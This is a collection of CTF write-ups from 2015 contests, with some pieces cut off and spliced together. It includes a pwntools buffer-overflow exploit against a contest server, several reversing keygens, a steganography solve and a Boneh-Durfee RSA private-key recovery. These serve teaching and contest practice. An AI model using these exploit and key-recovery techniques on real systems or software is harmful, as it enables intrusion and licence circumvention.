mov ebp, esp>.text:080486CF sub esp, 58h>.text:080486D2 mov dword ptr [esp+0Ch], offset a_Flag ; "./flag">.text:080486DA mov dword ptr [esp+8], offset aCatS ; "cat %s">.text:080486E2 mov dword ptr [esp+4], 32h>.text:080486EA lea eax, [ebp-3Ah]>.text:080486ED mov [esp], eax>.text:080486F0 call _snprintf>.text:080486F5 lea eax, [ebp-3Ah]>.text:080486F8 mov [esp], eax>.text:080486FB call _system>.text:08048700 leave>.text:08048701 retn>``` The function just_made_it is followed by a 'hidden' function that reads the flag file and displays it to us. So all we have to do now is overflow v8 to overwrite v9 with the address of our 'hidden' function. The application is kind enough to give us a pointer to a function in the binary (even though this isn't strictly necessary): >```c> printf("I should give you a pointer perhaps. Here: %x\n\n", end_with_dot);>``` So we can calculate the address of our function as an offset from the supplied address. The v8 buffer is 32 bytes long so we simply write 32 bytes of junk followed by the calculated address of the 'hidden' function: >```python>#!/usr/bin/python>#># Backdoor CTF 2015># FORGOT (PWN/200)>#># @a: Smoke Leet Everyday># @u: https://github.com/smokeleeteveryday>#>>from pwn import *>from struct import pack, unpack>import re>>offset = 0x78 # offset from end_with_dot to 0x080486CC>>host = 'hack.bckdr.in'>h = remote(host, 8009, timeout = None)>print h.recvuntil('> ')>>name = "420">h.send(name + "\n")>>msg = h.recvuntil('> ')>print msg>># Get end_with_dot address>m = re.findall("Here:\s(.*?)$", msg, re.MULTILINE)>># Calculate target address>end_with_dot_Addr = int(m[0], 16)>targetAddr = end_with_dot_Addr + offset>># Send exploit buffer>valstr = "A" * 32 + pack('<I', targetAddr)>h.send(valstr + "\n")>>print h.recvall()>h.close()>``` Which produces the following output: >```bash>$ python forgotsploit.py >[+] Opening connection to hack.bckdr.in on port 8009: Done>What is your name?>> >>Hi 420>>> Finite-State Automaton>>I have implemented a robust FSA to validate email addresses>Throw a string at me and I will let you know if it is a valid email address>> Cheers!>>I should give you a pointer perhaps. Here: 8048654>>Enter the string to be validate>> >[+] Recieving all data: Done (65B)>[*] Closed connection to hack.bckdr.in port 8009>{flag removed upon request of backdoorCTF admins ;)}>```
##Airport (forensics, 200p) ##PL version`for ENG version scroll down` Dostajemy folder z czteroma nieoznaczonymi zdjęciami lotnisk i następującym pngem:![](steghide.jpg)>Steghide is a steganography program that is able to hide data in various kinds of image- and audio-files. Próbujemy uruchomić program na jpgu (na pngach niczego nie wykrywa) i dostajemy zapytanie o hasło. Warto byłoby dowiedzieć się, co to za lotniska, używając google images dostajemy taką oto listę: * José Martí International Airport * Hong Kong International Airport * Los Angeles International Airport * Toronto Pearson International Airport Jak możnaby je połączyć w jedną całość? A na przykłąd używając kodów lotnisk :) Odpalamy program i jako hasło wklepujemy `HAVHKGLAXYYZ`, dostajemy flagę iH4t3A1rp0rt5 #ENG version We are give a folder with four undescribed airport photos and an icon: ![](steghide.jpg) >Steghide is a steganography program that is able to hide data in various kinds of image- and audio-files. We try to run steghide on the jpg file (png returns no results) but we are asked for a password. It's time we found out what theese airport are, using google images we get following list: * José Martí International Airport * Hong Kong International Airport * Los Angeles International Airport * Toronto Pearson International Airport How can we merge them into a password? Let's try airport codes! We run steghide again and this time input `HAVHKGLAXYYZ`, the program runs for some time and returns iH4t3A1rp0rt5, hooray!
[](ctf=trend-micro-ctf-2015)[](type=analysis,reverse)[](tags=payload,drop)[](tools=gdb-peda)[](techniques=breakpoints) I think this is the unintended solution. We are given a [zip](../vonn.zip) password:wx5tOCvU3g2FmueLEvj5np9xJX0cND3K.This gives us a binary. ```sh$ file vonn vonn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=7f89c2bb36cc9d0882a4980a99d44a7674fb09e2, not stripped $ ./vonn You are not on VMM```Thats it! we don't know whats happening.So i quickly load it with gdb-peda and after setting some breakpoints,we're ready to step through the execution. ```shgdb-peda$ b *0x400b8dBreakpoint 1 at 0x400b8d```After some stepping when we get to puts call for output```objdump 0x400cd3 <main+326>: cmp rax,QWORD PTR [rbp-0x8] 0x400cd7 <main+330>: je 0x400cfc <main+367> 0x400cd9 <main+332>: mov edi,0x401100=> 0x400cde <main+337>: call 0x400990 <puts@plt> 0x400ce3 <main+342>: mov rax,QWORD PTR [rbp-0xd0] 0x400cea <main+349>: mov rax,QWORD PTR [rax] 0x400ced <main+352>: mov rdi,rax 0x400cf0 <main+355>: mov eax,0x0Guessed arguments:arg[0]: 0x401100 ("You are on VMM!")```And I still don't know how!!All thats left is to do a c(continue).```shgdb-peda$ cContinuing.You are on VMM!process 9248 is executing new program: /tmp/...,,,...,,warning: the debug information found in "/lib64/ld-2.19.so" does not match "/lib64/ld-linux-x86-64.so.2" (CRC mismatch).``` This file dropped a payload that was automatically loaded in gdb. Nice!!Lucky for me the breakpoint 0x400b8d is still an instruction in the payload binary. ```objdump 0x0000000000400b74 <+248>: call 0x400790 <MD5@plt> 0x0000000000400b79 <+253>: mov edi,0x54 0x0000000000400b7e <+258>: call 0x400780 <putchar@plt> 0x0000000000400b83 <+263>: mov edi,0x4d 0x0000000000400b88 <+268>: call 0x400780 <putchar@plt>=> 0x0000000000400b8d <+273>: mov edi,0x43 0x0000000000400b92 <+278>: call 0x400780 <putchar@plt> 0x0000000000400b97 <+283>: mov edi,0x54 0x0000000000400b9c <+288>: call 0x400780 <putchar@plt> 0x0000000000400ba1 <+293>: mov edi,0x46 0x0000000000400ba6 <+298>: call 0x400780 <putchar@plt> 0x0000000000400bab <+303>: mov edi,0x7b 0x0000000000400bb0 <+308>: call 0x400780 <putchar@plt> 0x0000000000400bb5 <+313>: mov DWORD PTR [rbp-0xc4],0x0 0x0000000000400bbf <+323>: jmp 0x400be9 <rnktmp+365>```Looks good. Another c(continue) ```shgdb-peda$ cContinuing.TMCTF{ce5d8bb4d5efe86d25098bec300d6954}[Inferior 1 (process 9248) exited with code 0377]/tmp/...,,,...,,: No such file or directory.``` Huh! Was easier than expected.FLAG > TMCTF{ce5d8bb4d5efe86d25098bec300d6954}
## Reverse 400 (re, 400p) ### PL[ENG](#eng-version) Najtrudniejsze zadanie z RE na tym CTFie. Dostajemy [program](./r400) (znowu elf), który pobiera od usera hasło. Domyślamy się że to hasło jest flagą. Tutaj niespodzianka, bo hasło nie jest sprawdzane nigdzie w programie. Po chwili grzebania/debugowania, okazuje się, że hasło jest zamieniane na DWORD (cztery znaki) i pewna tablica bajtów jest "deszyfrowana" (tzn. xorowana) z nim, a następnie wykonywana. Xorowane dane wyglądają tak: 5E 68 0E 59 46 06 47 5E 55 11 15 41 5C 0A 03 16 44 0A 08 52 14 16 0E 16 52 0D 13 5E 14 3B 09 43 5C 0D 08 45 15 0A 0A 57 40 0B 0E 44 55 16 13 5E 77 0D 08 51 8E 48 66 36 34 EB 87 8D 35 62 66 36 8C 66 66 36 34 AF E6 8E 35 62 66 36 F9 E2 F6 A6 Pierwsze próby zgadnięcia hasła nie udały się (myśleliśmy że może ten fragment to funkcja, i zacznie się jakimś klasycznym prologiem). Ale szybko wpadliśmy na lepszy pomysł. Otóż jaki jest najczęściej spotykany bajt w kodzie? Oczywiście zero. Więc jeśli znajdziemy najczęściej występujący bajt w zaszyfrowanym fragmencie, będziemy wiedzieli że prawdopodobnie były to oryginalnie zera. Kod wyszukujący najczęstsze bajty: source = '5E680E594606475E551115415C0A0316440A085214160E16520D135E143B09435C0D0845150A0A57400B0E445516135E770D08518E48663634EB878D356266368C66663634AFE68E35626636F9E2F6A6'.decode('hex') prologue = '554889E5'.decode('hex') def xor(a, b): return ''.join(chr(ord(ac) ^ ord(bc)) for ac, bc in zip(a, b)) print xor(source, prologue).encode('hex') a0 = source[0::4] a1 = source[1::4] a2 = source[2::4] a3 = source[3::4] def most_common(x): import collections s = collections.Counter(x).most_common(1)[0] return (s[0].encode('hex'), s[1]) print most_common(a0), print most_common(a1), print most_common(a2), print most_common(a3), Okazało się to być strzałem w dziesiątkę! (Jeśli dobrze pamiętamy, jeden z czterech fragmentów źle trafił, ale udało się to już ręcznie poprawić trywialnie). W ten sposób rozwiązaliśmy najtrudniejsze zadanie RE na CTFie i zdobyliśmy kolejną flagę, wartą 400 punktów. ### ENG version The most difficult RE task on this CTF. We get a [binary](./r400) (elf again) which takes password as input. We expect the password to be the flag. Here we have a surprise, because the password is not checked anywhere in the binary. After a while of debugging we realise that the password is casted into a DWORD (four characters) and a byte table is decoded (via xor) with this DWORD and the executed as code. The xored data are: 5E 68 0E 59 46 06 47 5E 55 11 15 41 5C 0A 03 16 44 0A 08 52 14 16 0E 16 52 0D 13 5E 14 3B 09 43 5C 0D 08 45 15 0A 0A 57 40 0B 0E 44 55 16 13 5E 77 0D 08 51 8E 48 66 36 34 EB 87 8D 35 62 66 36 8C 66 66 36 34 AF E6 8E 35 62 66 36 F9 E2 F6 A6 First attempts to get the password failed (we assumed this code block is a function nad has some standard prolog). Soon we got a better idea. What is the most common byte value in the code? Zero of course. So if we find the most common byte in the encoded block we can expect those to be zeroes in the decoded verson. We use the code to measure byte frequency: source = '5E680E594606475E551115415C0A0316440A085214160E16520D135E143B09435C0D0845150A0A57400B0E445516135E770D08518E48663634EB878D356266368C66663634AFE68E35626636F9E2F6A6'.decode('hex') prologue = '554889E5'.decode('hex') def xor(a, b): return ''.join(chr(ord(ac) ^ ord(bc)) for ac, bc in zip(a, b)) print xor(source, prologue).encode('hex') a0 = source[0::4] a1 = source[1::4] a2 = source[2::4] a3 = source[3::4] def most_common(x): import collections s = collections.Counter(x).most_common(1)[0] return (s[0].encode('hex'), s[1]) print most_common(a0), print most_common(a1), print most_common(a2), print most_common(a3), And this was a bull's-eye! (If we remeber correctly one of the four fragments were wrong but we could fix those by hand)This way we solved the hardest RE task on the CTF and got another flag worth 400 points.
## ASIS Finals: license ----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| ASIS Finals | License | Reversing | 125 | *Description*> Find the flag in this file. ----------## Write-up ### Format of Keyfile We are given a binary file: >```>$ file license >license: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=c81d4aad867bcf65380fef33fcab2ee2372c03a9, stripped>``` On a first run: >```>$ ./license >key file not found!>``` Lets look at the disassembly in IDA, we find the filename it is looking for in the first three lines of *main* >```asm>mov esi, offset modes ; "rb">mov edi, offset filename ; "_a\nb\tc_">``` Since there are no other xrefs to the filename, I chose to patch the filename in the binary to something friendlier: >```>$ python -c 'import binascii; print binascii.hexlify("keyABCD")'>6b657941424344>``` ![alt patch](1.png) Continuing to follow the execution flow of the program when it can find the keyfile we get to the following pseudocode: >```C>fclose(v4);>if ( -45235 * length_of_keyfile * length_of_keyfile * length_of_keyfile * length_of_keyfile> + -1256 * length_of_keyfile * length_of_keyfile * length_of_keyfile> + 14392 * length_of_keyfile * length_of_keyfile> + -59762 * length_of_keyfile> - 1949670109068LL> + 44242 * length_of_keyfile * length_of_keyfile * length_of_keyfile * length_of_keyfile * length_of_keyfile )>{>LOBYTE(v5) = 0;>LODWORD(v18) = std::operator<<<std::char_traits<char>>(6299840LL, 4198643LL);// invalid format>std::endl<char,std::char_traits<char>>(v18);>}>else>{....>``` Which means our keylength needs to be a solution to the following inequality: ![alt eq1](2.png) For which wolframalpha gives us the solution: 34 The next part, with the variables renamed: >```C>else>{> v34 = base_of_input;> pos_in_file = base_of_input;> newline_counter = 1;> while ( length_of_keyfile > pos_in_file - base_of_input )> {> v13 = pos_in_file + 1;> if ( *(_BYTE *)pos_in_file == '\n' )> {> v14 = newline_counter++;> *(&v34 + v14) = v13;> }> pos_in_file = v13;> }> length_of_line = (length_of_keyfile - (newline_counter - 1)) / newline_counter;> dword_6021E0 = length_of_line;> if ( (unsigned __int64)(5 * (signed int)length_of_line) > 91 || (signed int)length_of_line <= 0 )> {> v5 = 32;> LODWORD(v17) = std::operator<<<std::char_traits<char>>(6299840LL, 4198643LL);// invalid format> std::endl<char,std::char_traits<char>>(v17);> }> else if ( newline_counter == 5 )> {>``` So to move on we need our keyfile to contain four newline characters, which means the length of each line is six (30 / 5), the last line must not end with a newline. By now we know our keyfile is of the following form: >```>aaaaaa>bbbbbb>cccccc>dddddd>eeeeee>``` ### The Key The next part of the binary will establish a relation between the five lines of the keyfile, there are 5 checks: #### 1 >```C> do> {> s1[index1] = *(line_1 + index1) ^ *(line_2 + index1);> ++index1;> }> while ( length_of_line > index1 );> if ( memcmp(> s1,> "iKWoZLVc4LTyGrCRedPhfEnihgyGxWrCGjvi37pnPGh2f1DJKEcQZMDlVvZpEHHzUfd4VvlMzRDINqBk;1srRfRvvUW",> length_of_line) )> goto fail;>``` Giving the first relation: ![alt eq2](3.png) #### 2 >```C> do> {> s1[index2] = *(line_2 + index2) ^ *(line_4 + index2) ^ 0x23;> ++index2;> }> while ( length_of_line > index2 );> line_4_again = line_4;> if ( memcmp(s1, &aIkwozlvc4ltygr[length_of_line], length_of_line) )> goto fail;>``` Giving the second relation: ![alt eq3](4.png) #### 3 >```C> do> {> s1[index3] = *(line_4_again + index3) ^ *(line_3 + index3);> ++index3;> }> while ( length_of_line > index3 );> if ( memcmp(s1, (2 * length_of_line + 0x401120LL), length_of_line) )> goto fail;>``` Giving the third relation: ![alt eq3](5.png) #### 4 & 5 >```C> do> {> s1[index4] = *(line_4_again + index4) ^ *(line_5 + index4) ^ 0x23;> ++index4;> }> while ( length_of_line > index4 );> v28 = 0LL;> do> {> s1[v28] ^= *(line_3 + v28);> ++v28;> }> while ( length_of_line > v28 );> if ( !memcmp(s1, (3 * length_of_line + 0x401120LL), length_of_line)> && (v5 = memcmp(line_4_again, (4 * length_of_line + 0x401120LL), length_of_line)) == 0 )> {> v29 = 0LL;> do ...>``` Giving the fourth and final relations: ![alt eq3](6.png) Since we know the fourth line, we can deduce the other lines from that, as the following python code implements: >```python>#!/usr/bin/python>>from pwn import *>>answer = "iKWoZLVc4LTyGrCRedPhfEnihgyGxWrCGjvi37pnPGh2f1DJKEcQZMDlVvZpEHHzU">>a4 = answer[24:30]>a2 = xor(xor(a4, chr(0x23)*6), answer[6:12])>a1 = xor(answer[0:6], a2)>a3 = xor(answer[12:18], a4)>a5 = xor(xor(xor(answer[18:24], a3), a4), chr(0x23)*6)>>with open("keyABCD", "w") as f:> f.writelines((a1 + "\n", a2 + "\n", a3 + "\n", a4 + "\n", a5))>``` After which the flag is revealed: >```>$ ./license >program successfully registered to ASIS{8d2cc30143831881f94cb05dcf0b83e0}>```
# ASISCTF Finals 2015: Bodu ----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| ASISCTF Finals 2015 | Bodu | Crypto | 175 | **Description:**>*Find the flag in [this](challenge/pub.key) [file](challenge/flag.enc).* ----------## Write-up We're given an RSA public key: ```-----BEGIN PUBLIC KEY-----MIIBHjANBgkqhkiG9w0BAQEFAAOCAQsAMIIBBgKBgAOmFghI+xc0y9D6Is71guhJIjrARRDVFQJVa2R20HOX8D3xVSicIBEuh8bzU2HZ62IspKDlLZzYe/cjUmyCa4g4fQarxCeeNT8SrY7GLqc8RzIaILiWRIiaeSpzFSvHAUuAppPS5YsSP6klw1ax66A3pNysjY3oCRZ6b8wwxceFAoGAA2WWLo2rp7qS/Ah2il9zs4VPTHmWnVUYoHigNEN8Rmm9twW+TYuLq/T9oabnFSaeh7KO7LDU4Ccmon+4chhjdAcg9YNojlVn6xBym7DZKzItcZlJ5AxXGY12TxxjPl4nfaPTKB7OLOLrTflFvlr8PnhJjtBImyRZBZZk/hXIijM=-----END PUBLIC KEY-----``` And a flag ciphertext: ```0x025051c6c4e82266e0b9e8a47266531a01d484b0dc7ee629fb5a0588f15bf50281f46cf08be71e067ac7166580f144a6bdcc83a90206681c2409404e92474b37de67d92fd2fa4bc4bd119372b6d50c0377758fc8e946d203a040e04d6bfe41dfb898cd4e36e582f16ad475915ac2c6586d874dd397e7ed1cb2d3f2003586c257``` Inspecting the RSA public key gives us the public modulus en exponent: ```n = 2562256018798982275495595589518163432372017502243601864658538274705537914483947807120783733766118553254101235396521540936164219440561532997119915510314638089613615679231310858594698461124636943528101265406967445593951653796041336078776455339658353436309933716631455967769429086442266084993673779546522240901 e = 2385330119331689083455211591182934261439999376616463648565178544704114285540523381214630503109888606012730471130911882799269407391377516911847608047728411508873523338260985637241587680601172666919944195740711767256695758337633401530723721692604012809476068197687643054238649174648923555374972384090471828019``` The very large public exponent immediately leads us to suspect an attack on a small private exponent (like the instance of [Wiener's Attack](https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2015/PCTF/crypto/curious) in this year's PlaidCTF). A quick evaluation of Wiener's attack yielded no such luck however but we recalled that [Boneh and Durfee](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.258.8220&rep=rep1&type=pdf) extended the bound for low private exponents from Wiener's 0.25 bound (meaning the private exponent d is bounded by c*N^0.25) to 0.292 allowing for recovery of bigger (small) private exponents. The attack and the background (the usage of lattice reduction techniques such as the LLL algorithm, Coppersmith's attack on a relaxed RSA model and subsequent improvements by Boneh and Durfee and Herrman and May) are explained very well by David Wong [here](https://github.com/mimoo/RSA-and-LLL-attacks/) and [here](https://www.cryptologie.net/article/265/small-rsa-private-key-problem/). Wong, who mentioned our solution (and its limits) of using Wiener's attack for the `curious` challenge of this year's PlaidCTF also provides a nice [sage worksheet](https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage) which we could plug our public key into to obtain the private exponent `d = 89508186630638564513494386415865407147609702392949250864642625401059935751367507` which we could then use to decrypt the ciphertext yielding the flag: `ASIS{b472266d4dd916a23a7b0deb5bc5e63f}`
# ASISCTF Finals 2015: Fake ----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| ASISCTF Finals 2015 | Fake | Reversing | 150 | **Description:**>*Find the flag in this [file](challenge/fake).* ----------## Write-up We're dealing with another 64-bit ELF keygen challenge this time consisting of a rather small binary with the following pseudocode: ```c__int64 __fastcall main_routine(signed int a1, __int64 a2){ __int64 v2; // r8@1 __int64 v4; // [sp+0h] [bp-38h]@3 __int64 v5; // [sp+8h] [bp-30h]@3 __int64 v6; // [sp+10h] [bp-28h]@3 __int64 v7; // [sp+18h] [bp-20h]@3 __int64 v8; // [sp+20h] [bp-18h]@3 v2 = 0LL; if ( a1 > 1 ) v2 = strtol(*(const char **)(a2 + 8), 0LL, 10); v4 = 0x3CC6C7B7 * v2; v5 = 0x981DDEC9AB2D9LL * ((v2 >> 19) - 0xB15 * (((signed __int64)((unsigned __int128)(0x5C66DE85BAE10C8BLL * (v2 >> 19)) >> 64) >> 10) - (v2 >> 63))) * ((v2 >> 19) - 0x23 * (((signed __int64)((unsigned __int128)(0xEA0EA0EA0EA0EA1LL * (v2 >> 19)) >> 64) >> 1) - (v2 >> 63))) * ((v2 >> 19) - 0x21 * (((signed __int64)((unsigned __int128)(0xF83E0F83E0F83E1LL * (v2 >> 19)) >> 64) >> 1) - (v2 >> 63))); v6 = ((v2 >> 19) - 0x25AB * (((signed __int64)((unsigned __int128)(0x1B2F55AB6B39F429LL * (v2 >> 19)) >> 64) >> 10) - (v2 >> 63))) * 0x148E0E2774AE66LL * ((v2 >> 19) - 0xA7 * (((signed __int64)((unsigned __int128)(0x621B97C2AEC12653LL * (v2 >> 19)) >> 64) >> 6) - (v2 >> 63))); v7 = ((v2 >> 19) - 0x101 * (((signed __int64)((unsigned __int128)(0x7F807F807F807F81LL * (v2 >> 19)) >> 64) >> 7) - (v2 >> 63))) * 0x25FB3FE64A952LL * ((v2 >> 19) - 0x37 * (((signed __int64)((unsigned __int128)(0x4A7904A7904A7905LL * (v2 >> 19)) >> 64) >> 4) - (v2 >> 63))); v8 = ((v2 >> 19) - 0xBC8F * (((signed __int64)((unsigned __int128)(0x15B90241024BDECDLL * (v2 >> 19)) >> 64) >> 12) - (v2 >> 63))) * 0x246DC95E05ELL * ((v2 >> 19) - 0x17 * (((signed __int64)((v2 >> 19) + ((unsigned __int128)(0x0B21642C8590B2165LL * (v2 >> 19)) >> 64)) >> 4) - (v2 >> 63))); puts((const char *)&v4;; return 0LL;}``` So we have a 'mystery routine' which converts our numeric input into our flag (it has to since our input can only be numeric and a single `puts` call is all we have for output). The routine, converted to python by hand, does this as follows: ```pythondef mystery(v2): int64 = 2**64 int128 = 2**128 v4 = (0x3CC6C7B7 * v2) % int64 a = ((v2 >> 19) - (0xB15 * (( ((((0x5C66DE85BAE10C8B * (v2 >> 19)) % int128) >> 64) % int64) >> 10) - (v2 >> 63)))) b = ((v2 >> 19) - (0x23 * (( ((((0xEA0EA0EA0EA0EA1 * (v2 >> 19)) % int128) >> 64) % int64) >> 1) - (v2 >> 63)))) c = ((v2 >> 19) - (0x21 * (( ((((0xF83E0F83E0F83E1 * (v2 >> 19)) % int128) >> 64) % int64) >> 1) - (v2 >> 63)))) v5 = (0x981DDEC9AB2D9 * a * b * c) % int64 a = ((v2 >> 19) - (0x25AB * (( ((((0x1B2F55AB6B39F429 * (v2 >> 19)) % int128) >> 64) % int64) >> 10) - (v2 >> 63)))) b = 0x148E0E2774AE66 c = ((v2 >> 19) - (0xA7 * (( ((((0x621B97C2AEC12653 * (v2 >> 19)) % int128) >> 64) % int64) >> 6) - (v2 >> 63)))) v6 = (a * b * c) % int64 a = ((v2 >> 19) - (0x101 * (( ((((0x7F807F807F807F81 * (v2 >> 19)) % int128) >> 64) % int64) >> 7) - (v2 >> 63)))) b = 0x25FB3FE64A952 c = ((v2 >> 19) - (0x37 * (( ((((0x4A7904A7904A7905 * (v2 >> 19)) % int128) >> 64) % int64) >> 4) - (v2 >> 63)))) v7 = (a * b * c) % int64 a = ((v2 >> 19) - (0xBC8F * (( ((((0x15B90241024BDECD * (v2 >> 19)) % int128) >> 64) % int64) >> 12) - (v2 >> 63)))) b = 0x246DC95E05E c = ((v2 >> 19) - (0x17 * (( ((((0x0B21642C8590B2165 * (v2 >> 19)) % int128) >> 64) % int64) >> 4) - (v2 >> 63)))) v8 = (a * b * c) % int64 y = [v4, v5, v6, v7, v8] z = "".join([pack('
# ASISCTF Finals 2015: License ----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| ASISCTF Finals 2015 | License | Reversing | 125 | **Description:**>*Find the flag in this [file](challenge/license).* ----------## Write-up The challenge binary in question is a 64-bit ELF binary which checks a license file with a series of constraints and outputs the flag (derived in part from the license file) if it is correct. Let's take a look at its pseudo-code: ```c__int64 main_routine(){ v75 = *MK_FP(__FS__, 40LL); v0 = fopen("_a\nb\tc_", "rb"); v1 = v0; JUMPOUT(v0, 0LL, "+¯\x10@"); fseek(v0, 0LL, 2); v2 = 68; v3 = ftell(v1); rewind(v1); v4 = calloc(1uLL, v3 + 1); v5 = (__int64)v4; if ( v4 ) { LOBYTE(v2) = 58; if ( fread(v4, v3, 1uLL, v1) == 1 ) { fclose(v1); if ( 0xFFFFFFFFFFFF4F4DLL * v3 * v3 * v3 * v3 + 0xFFFFFFFFFFFFFB18LL * v3 * v3 * v3 + 0x3838 * v3 * v3 + 0xFFFFFFFFFFFF168ELL * v3 - 0x1C5F164EF8CLL + 0xACD2 * v3 * v3 * v3 * v3 * v3 ) { LOBYTE(v2) = 0; LODWORD(v15) = output(0x6020C0LL, 0x4010F3LL);// wrong formatted key file std::endl<char,std::char_traits<char>>(v15); } else { v31 = v5; v7 = v5; v8 = 1; while ( v3 > v7 - v5 ) { v9 = v7 + 1; if ( *(_BYTE *)v7 == 10 ) { v10 = v8++; *(&v31 + v10) = v9; } v7 = v9; } v11 = (v3 - (v8 - 1)) / v8; v12 = (v3 - (v8 - 1)) / v8; some_int = (v3 - (v8 - 1)) / v8; if ( (unsigned __int64)(5 * v11) > 0x5B || v11 <= 0 ) { v2 = 32; LODWORD(v14) = output(0x6020C0LL, 0x4010F3LL);// wrong formatted key file std::endl<char,std::char_traits<char>>(v14); } else if ( v8 == 5 ) { v36 = 0x35; v37 = 0x3F; v16 = 0LL; v38 = 112; v39 = 0x14; v40 = 0x2E; v41 = 0x79; v42 = 0x6E; v43 = 0x2F; v44 = 0x44; v45 = 0xD; v46 = 0x1B; v47 = 0x3F; v48 = 0x3C; v49 = 0x3E; v50 = 0x1C; v51 = 0x2D; v52 = 9; v53 = 0x24; v54 = 0x25; v55 = 0xB; v56 = 0x3B; v57 = 0xE; v58 = 0x5E; v59 = 0x4D; v60 = 0x24; v61 = 0x1A; v62 = 0x67; v63 = 0x3F; v64 = 0x50; v65 = 0x5A; v66 = 0x60; v67 = 4; v68 = 0x4A; v69 = 0x16; v17 = v32; v18 = v31; v70 = 0x33; v71 = 0x65; v72 = 0x30; v73 = 0x7D; do { s1[v16] = *(_BYTE *)(v18 + v16) ^ *(_BYTE *)(v17 + v16); ++v16; } while ( v12 > (signed int)v16 ); if ( memcmp( s1, "iKWoZLVc4LTyGrCRedPhfEnihgyGxWrCGjvi37pnPGh2f1DJKEcQZMDlVvZpEHHzUfd4VvlMzRDINqBk;1srRfRvvUW", v11) ) goto LABEL_39; v19 = v34; v20 = 0LL; do { s1[v20] = *(_BYTE *)(v17 + v20) ^ *(_BYTE *)(v19 + v20) ^ 0x23; ++v20; } while ( v12 > (signed int)v20 ); v30 = (const void *)v19; if ( memcmp(s1, &aIkwozlvc4ltygr[v11], v11) ) goto LABEL_39; v21 = v33; v22 = 0LL; do { s1[v22] = *((_BYTE *)v30 + v22) ^ *(_BYTE *)(v21 + v22); ++v22; } while ( v12 > (signed int)v22 ); if ( memcmp(s1, (const void *)(2 * v11 + 0x401120LL), v11) ) goto LABEL_39; v23 = v35; v24 = 0LL; do { s1[v24] = *((_BYTE *)v30 + v24) ^ *(_BYTE *)(v23 + v24) ^ 0x23; ++v24; } while ( v12 > (signed int)v24 ); v25 = 0LL; do { s1[v25] ^= *(_BYTE *)(v21 + v25); ++v25; } while ( v12 > (signed int)v25 ); if ( !memcmp(s1, (const void *)(3 * v11 + 4198688LL), v11) && (v2 = memcmp(v30, (const void *)(4 * v11 + 4198688LL), v11)) == 0 ) { v26 = 0LL; do { if ( v3 > v26 ) *(&v36 + v26) ^= *(_BYTE *)(v5 + v26); ++v26; } while ( v26 != 38 ); LODWORD(v27) = output(6299840LL, 0x401180LL);// program successfully registered to LODWORD(v28) = output(v27, &v36); std::endl<char,std::char_traits<char>>(v28); } else {LABEL_39: v2 = 0; LODWORD(v29) = output(6299840LL, 4198668LL);// key file not found! std::endl<char,std::char_traits<char>>(v29); } } else { v2 = 23; LODWORD(v13) = output(0x6020C0LL, 0x4010F3LL);// wrong formatted key file std::endl<char,std::char_traits<char>>(v13); } } } } return (unsigned int)v2;}``` Reverse-engineering the initial few lines reveals the license needs to be named "_a\nb\tc_" and needs to be 34 bytes long as per the solution of: ```python((0xACD2 * v3*v3*v3*v3*v3) + (0xFFFFFFFFFFFF4F4D * v3*v3*v3*v3) + (0xFFFFFFFFFFFFFB18 * v3*v3*v3) + (0x3838 * v3*v3) + (0xFFFFFFFFFFFF168E * v3)) == 0x1C5F164EF8C``` The next lines of code: ```c v31 = v5; v7 = v5; v8 = 1; while ( v3 > v7 - v5 ) { v9 = v7 + 1; if ( *(_BYTE *)v7 == 0x0A ) { v10 = v8++; *(&v31 + v10) = v9; } v7 = v9; } v11 = (v3 - (v8 - 1)) / v8; v12 = (v3 - (v8 - 1)) / v8; some_int = (v3 - (v8 - 1)) / v8; if ( (unsigned __int64)(5 * v11) > 0x5B || v11 <= 0 ) { v2 = 32; LODWORD(v14) = output(0x6020C0LL, 0x4010F3LL);// wrong formatted key file std::endl<char,std::char_traits<char>>(v14); } else if ( v8 == 5 ) {``` Divide the program into newline-seperated (0x0A = "\n") chunks (of which there have to be 5) each of which is 6 bytes long. These lines are then checked against a whole series of XOR-based constraints over segments of the hardcoded buffer "iKWoZLVc4LTyGrCRedPhfEnihgyGxWrCGjvi37pnPGh2f1DJKEcQZMDlVvZpEHHzUfd4VvlMzRDINqBk;1srRfRvvUW" and finally used as a XOR key to decode an internal buffer into the flag (which will be output as the 'registration user'): ```c do { if ( v3 > v26 ) *(&v36 + v26) ^= *(_BYTE *)(v5 + v26); ++v26; } while ( v26 != 38 ); LODWORD(v27) = output(6299840LL, 0x401180LL);// program successfully registered to LODWORD(v28) = output(v27, &v36); std::endl<char,std::char_traits<char>>(v28);``` We encoded the series of constraints into a satisfiability problem using Z3 giving us the [following license generation script](solution/gen_license.py): ```python#!/usr/bin/env python## ASISCTF Finals 2015## @a: Smoke Leet Everyday# @u: https://github.com/smokeleeteveryday# from z3 import * def gen_license(): filelen = 34 filename = "_a\nb\tc_" f = open(filename, "wb") content = "" x = ["iKWoZL", "Vc4LTy", "GrCRed", "PhfEni", "hgyGxW"] s = Solver() lines = [None]*(5*10 + 6) for i in xrange(5): for j in xrange(6): lines[(i*10)+j] = BitVec((i*10)+j, 8) for j in xrange(6): s.add(lines[(0*10)+j] ^ lines[(1*10)+j] == ord(x[0][j])) s.add(lines[(1*10)+j] ^ lines[(3*10)+j] ^ 0x23 == ord(x[1][j])) s.add(lines[(3*10)+j] ^ lines[(2*10)+j] == ord(x[2][j])) s.add(lines[(3*10)+j] ^ lines[(4*10)+j] ^ lines[(2*10)+j] ^ 0x23 == ord(x[3][j])) s.add(lines[(3*10)+j] == ord(x[4][j])) linez = [] # Check if problem is satisfiable before trying to solve it if(s.check() == sat): print "[+] Problem satisfiable, generating license :)" sol_model = s.model() for i in xrange(5): s = "" for j in xrange(6): s += chr(sol_model[lines[(i*10)+j]].as_long()) linez.append(s) else: raise Exception("[-] Problem unsatisfiable, could not generate license :(") content += linez[0] + chr(10) content += linez[1] + chr(10) content += linez[2] + 